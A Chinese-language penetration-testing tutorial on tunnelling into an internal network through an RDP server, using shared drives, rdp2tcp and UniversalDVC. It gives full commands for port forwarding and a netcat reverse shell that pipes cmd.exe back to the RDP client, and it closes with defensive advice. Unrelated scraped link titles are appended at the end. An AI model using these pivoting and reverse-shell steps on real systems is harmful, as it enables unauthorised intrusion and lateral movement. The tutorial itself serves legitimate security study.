0x00 前言

最近从@cpl3h的博客中学到了使用远程桌面协议建立通道的方法。

本文将对这个方法进行整理,结合自己的经验,添加个人理解。

学习地址:

0x01 简介

本文将要介绍以下内容:

·使用场景

·使用共享文件建立通道

·使用rdp2tcp建立通道

·使用UniversalDVC建立通道

·利用分析

·防御建议

0x02 使用场景

由于防火墙的设置,只能连接一台Windows服务器的远程桌面,那么如何以这台Windows服务器为跳板进入内网。

简要描述如下图:

0x03 使用共享文件建立通道

通过读写RDP Client和RDP Server之间共享的文件作为数据传输的通道。

POC:

这是根据Cobalt Strike中External C2规范编写的POC。

实现原理:

建立远程桌面连接时,RDP Client和RDP Server之间可以创建共享文件夹,通过读写共享文件作为数据传输的通道。

1.Windows系统连接远程桌面并开启文件共享

(1)通过配置mstsc.exe开启文件共享

如下图:

(2)使用FreeRDP开启文件共享

下载地址:

命令实例:wfreerdp /v:192.168.112.129:3389 -u:1 -p:Test123! /cert-ignore /drive:share1,c:\

2.Kali系统连接远程桌面并开启文件共享

(1)使用xfreerdp开启文件共享

将本地文件夹/tmp共享的命令如下:xfreerdp /v:192.168.112.129:3389 /u:1 /p:Test123! /cert-ignore /drive:share1,/tmp

(2)使用rdesktop开启文件共享

将本地文件夹/tmp共享的命令如下:rdesktop 192.168.112.129 -u1 -pTest123! -r disk:share1=/tmp

在RDP Server上,可通过\\tsclient\访问共享的文件资源。

通过文件读写来传输数据的具体细节可参考xpn的文章:

0x04 使用rdp2tcp建立通道

rdp2tcp使用RDP虚拟通道功能来复用端口。

可用的功能:

·正向TCP端口转发

·反向TCP端口转发

·处理标准输入/输出转发

·SOCKS5代理

POC:

测试系统: Kali2 x64

1.下载并编译rdp2tcp

(1)安装mingw-w64

命令如下:apt-get install mingw-w64

(2)下载rdp2tcpgit clone https://github.com/V-E-O/rdp2tcp.git

cd rdp2tcp

(3)修改配置文件

rdp2tcp默认不支持编译64位的exe,所以这里需要修改配置文件,增加编译64位exe的配置信息。

修改文件Makefile,新的内容如下:all: client server-mingw64

client: client/rdp2tcp

client/rdp2tcp:

make -C client

#server-mingw32: server/rdp2tcp.exe

#server/rdp2tcp.exe:

#make -C server -f Makefile.mingw32

server-mingw64: server/rdp2tcp64.exe

server/rdp2tcp64.exe:

make -C server -f Makefile.mingw64

clean:

make -C client clean

#make -C server -f Makefile.mingw32 clean

make -C server -f Makefile.mingw64 clean

make -C tools clean

注:

因为我们使用了64位的操作系统,并且安装了64位的mingw,所以这里设置为生成64位的exe。

新建文件/server/Makefile.mingw64,内容如下:BIN=rdp2tcp64.exe

CC=i686-w64-mingw32-gcc

CFLAGS=-Wall -g \

-D_WIN32_WINNT=0x0501 \

-I../common

# -D_WIN32_WINNT=0x0501

# -D_WIN32_WINNT=0x0501 -DDEBUG

LDFLAGS=-lwtsapi32 -lws2_32

OBJS=../common/iobuf.o \

../common/print.o \

../common/msgparser.o \

../common/nethelper.o \

../common/netaddr.o \

errors.o aio.o events.o \

tunnel.o channel.o process.o commands.o main.o

all: clean_common $(BIN)

clean_common:

$(MAKE) -C ../common clean

$(BIN): $(OBJS)

$(CC) -o [email protected] $(OBJS) $(LDFLAGS)

%.o: %.c

$(CC) $(CFLAGS) -o [email protected] -c $<

clean:

rm -f $(OBJS) $(BIN)

(4)编译

命令如下:make

生成以下文件:

·/server/rdp2tcp64.exe

·/client/rdp2tcp

2.安装xfreerdp

Kali系统默认安装的xfreerdp不支持TCP重定向的功能。

如下图:

如果支持TCP重定向的功能,程序回显的内容如下:

需要重新下载编译xfreerdp,这里我使用的版本是freerdp-nightly。

参考链接:

这里我使用的发行版为bionic,完整的安装命令如下:echo "deb http://pub.freerdp.com/repositories/deb/bionic/ freerdp-nightly main " >>/etc/apt/sources.list

wget -O - http://pub.freerdp.com/repositories/ADD6BF6D97CE5D8D.asc | sudo apt-key add -

apt-get update

apt-get install freerdp-nightly

对应的安装路径为/opt/freerdp-nightly。

启动新版的xfreerdp,对应的路径为: /opt/freerdp-nightly/bin/xfreerdp。

新版的xfreerdp支持TCP重定向,如下图:

3.使用xfreerdp连接远程桌面并建立通道

这里介绍正向TCP端口转发的方法。

(1)执行xfreerdp并开启TCP重定向功能

Kali系统上执行:/opt/freerdp-nightly/bin/xfreerdp /v:192.168.112.129:3389 /u:1 /p:Test123! /cert-ignore /rdp2tcp:/root/rdp2tcp/client/rdp2tcp

(2)将rdp2tcp64.exe上传至RDP Server并执行(不需要管理员权限)

执行结果如下图:

命令如下:cd rdp2tcp/tools

python rdp2tcp.py

添加正向端口转发(本地445->192.168.112.129:445)的命令如下:python rdp2tcp.py add forward 127.0.0.1 445 192.168.112.129 445

输出结果如下图:

(4)访问本地445端口

访问本地445端口的数据被转发至192.168.112.129的445端口,如下图:

正向端口转发建立成功。

0x05 使用UniversalDVC建立通道

UniversalDVC是以注册UDVC插件的形式,使用动态虚拟通道建立通道。

POC:

测试系统: Win7 x64

1.安装UDVC插件

下载编译好的64位文件,地址如下:

将其中64位的dll保存在%windir%\system32下。

注册dll的命令如下:regsvr32.exe UDVC-Plugin.x64.dll

如下图:

UDVC插件注册后将创建注册表项用来保存配置信息。

配置文件的位置:HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default\AddIns\UDVC-Plugin

默认监听的端口为31337

注:在RDP Server启动UDVC-Server.exe后,UDVC插件才会开启监听端口。

2.实现端口转发的功能

(1)将Mode设置为Socket server mode (0 – default)

修改注册表的cmd命令为:reg add "hkcu\Software\Microsoft\Terminal Server Client\Default\AddIns\UDVC-Plugin" /v mode /t REG_DWORD /d 0 /f

(2)设置监听端口为1234

修改注册表的cmd命令为:reg add "hkcu\Software\Microsoft\Terminal Server Client\Default\AddIns\UDVC-Plugin" /v port /t REG_SZ /d 1234 /f

(3)启动远程桌面客户端

命令如下:mstsc.exe

连接远程桌面。

(4)RDP Server启动UDVC-Server.exe

命令如下:UDVC-Server.x64.exe -c -p 80 -i 192.168.112.129 -0

(5)RDP Client打开浏览器并访问http://127.0.0.1:1234

获得内网192.168.112.129:80的数据。

通道建立完成,简要流程图如下图:

3.实现反弹shell的功能

RDP Server反弹一个shell至RDP Client。

RDP Client能够实时控制RDP Server,执行cmd命令。

(1)将Mode设置为Socket client mode (1)

修改注册表的cmd命令为:reg add "hkcu\Software\Microsoft\Terminal Server Client\Default\AddIns\UDVC-Plugin" /v mode /t REG_DWORD /d 1 /f

(2)设置监听端口为1234

修改注册表的cmd命令为:reg add "hkcu\Software\Microsoft\Terminal Server Client\Default\AddIns\UDVC-Plugin" /v port /t REG_SZ /d 1234 /f

(3)启动远程桌面客户端

命令如下:mstsc.exe

连接远程桌面。

(4)RDP Client使用nc监听本地端口1234

命令如下:nc64.exe -lvp 1234

(5)RDP Server启动UDVC-Server.exe

命令如下:UDVC-Server.x64.exe -p 5678 -0

此时将建立一条动态虚拟通道:RDP Server->RDP Client:1234

并且RDP Server开启监听端口5678。

(6)RDP Server使用nc连接本地端口5678并指定重定向的程序为c:\windows\system32\cmd.exe

命令如下:nc64.exe 127.0.0.1 5678 -e c:\windows\system32\cmd.exe

通道建立完成,简要流程图如下图:

0x06 利用分析

对于这三种建立通道的方法(共享文件、rdp2tcp和UniversalDVC),利用前提是已经获得了连接远程桌面的权限。

严格地说,利用这台远程桌面服务器,就已经能够对内网资源进行访问。

研究这种方法的意义在于某些情况下远程桌面服务器无法运行我们的程序。

例如远程桌面服务器为Windows系统,而我们想执行的程序只支持Linux,这就避免了考虑程序移植的问题。

0x07 防御建议

1.外网远程桌面服务器的安全

如果攻击者能够使用远程桌面协议建立通道,代表攻击者已经获得了这台服务器的权限,所以对于开放外网访问的远程桌面服务器,不仅要及时更新补丁,还要注意防范口令爆破

2.使用组策略禁用重定向的设备

组策略位置:

Computer Configuration->Administrative Templates->Windows Components->Remote Desktop Services->Remote Desktop Session Host->Device and Resource Redirection

0x08 小结

本文参考@cpl3h的文章,对使用远程桌面协议建立通道的方法进行整理,结合自己的经验,添加个人理解,分析利用思路,总结防御建议。

python socket tcp6_渗透技巧——使用远程桌面协议建立通道相关推荐

  1. 渗透技巧——从远程桌面客户端提取明文凭据

    0x00 前言 在之前的文章<渗透技巧--获得Windows系统的远程桌面连接历史记录>曾介绍了获得远程桌面连接历史记录的方法. 在实际的渗透过程中,如果发现了远程桌面连接的历史记录,奇热 ...

  2. python制作远程桌面控制_Python 远程桌面协议RDPY简介

    RDPY 是基于 Twisted Python 实现的微软 RDP 远程桌面协议. RDPY 提供了如下 RDP 和 VNC 支持: RDP Man In The Middle proxy which ...

  3. Python 远程桌面协议RDPY简介

    转载请注明:@小五义http://www.cnblogs.com/xiaowuyi  QQ群:64770604 RDPY 是基于 Twisted Python 实现的微软 RDP 远程桌面协议. RD ...

  4. python远程桌面协议_RDPY – Twisted Python 实现的RDP协议(Windows 远程桌面)

    摘要: RDPY 是基于 Twisted Python 实现的微软 RDP 远程桌面协议. RDPY 提供了如下 RDP 和 VNC 支持: · RDP Man In The Middle proxy ...

  5. 远程桌面协议(RDP)介绍

    远程桌面协议 (RDP) 允许您远程访问计算机.多年来,它免除了许多系统管理操作,无疑是一项非常有用的技术.RDP 长期以来一直提供远程访问支持,而且越来越好.该协议于 1998 年在 Windows ...

  6. 教你如何防范远程桌面协议(RDP)的安全威胁

    由于RDP是一种非常流行的协议,攻击者一旦获取访问权限,就会使用其转移到其他系统,所以,RDP也成功吸引了攻击者的目光. 远程桌面协议(Remote Desktop Protocol,简称RDP)是用 ...

  7. Rapid7警告声明:远程桌面协议(RDP)暴露数百万 Windows 终端

    本文讲的是Rapid7警告声明:远程桌面协议(RDP)暴露数百万 Windows 终端,去年6月,卡巴斯基实验室研究人员揭露,黑客利用远程桌面协议(RDP)窃取85,000台来自医院.学校.航空公司和 ...

  8. 远程桌面协议 (RDP)

    远程序桌面登录的.NET开发,可以使用MSTSCLib.dll和MsTscAxWrapper.dll两个转换过的动态库,而无需使用WINDOWS自带的OCX,因为使用OCX开发可以会遇到其它问题. 主 ...

  9. RDP协议,remote desktop protocol,远程桌面协议

    转自:http://lcx.cc/?i=936(修改.删除了原文的部分内容) 一 前言 二 概述 三 同络层次 四 各连接模块说明 五 各功能模块说明 六 rdpwin结构.数据流说明 七 总结 一. ...

最新文章

  1. 引用用户控件图片无法
  2. ELK报错no handler found for uri原因postman的原因
  3. 如何使用Avira Rescue CD清洁感染的PC
  4. 《Python Cookbook 3rd》笔记(1.14):排序不支持原生比较的对象
  5. C语言自加自减运算符(++i / i++) - C语言零基础入门教程
  6. 12.JAVA基本数据类型
  7. oracle迁移vg,不同VG之间的FS迁移
  8. C# 读取机器CPU信息,硬盘信息,网卡信息(转载)
  9. 用JavaScript编码URL?
  10. https方式nginx 代理tomcat访问不带www的域名301重定向跳转到www的域名帮助seo集中权重...
  11. 金蝶KIS专业版二次开发探索
  12. MaxToBlende安装详细方法
  13. 比特彗星(Bitcomet_1.95)最新官方安装包下载
  14. 常见鸟的种类及特点_鸟的种类(常见鸟的名字大全)
  15. shader篇-漫反射
  16. 问题 J: LZY订单查询
  17. 使用 SharePoint 2007 进行安全性编程(SPUser,SPGroup,SPSiteGroups)
  18. kafka消费者理解
  19. Linux安装redis及使用
  20. Mac配置/关闭代理命令

热门文章

  1. win10下Xshell或Xftp缺少mfc110.dll msvcr110.dll怎么破?
  2. ElasticSearch 同城容灾调研
  3. MRPII/ERP实施和应用十大忠告(转)
  4. mysql创建dblink
  5. wwise集成到unreal
  6. jquery trigger触发a标签点击事件问题
  7. Android 8.1 9.0 10.0 第三方app系统签名的方法
  8. 无线通信零基础学习记录(2)——GSM空中接口物理层的设计
  9. 组合 C(N, K) = C(N - 1, K) + C(N - 1, K - 1) 的理解
  10. sql语句的各种模糊查询语句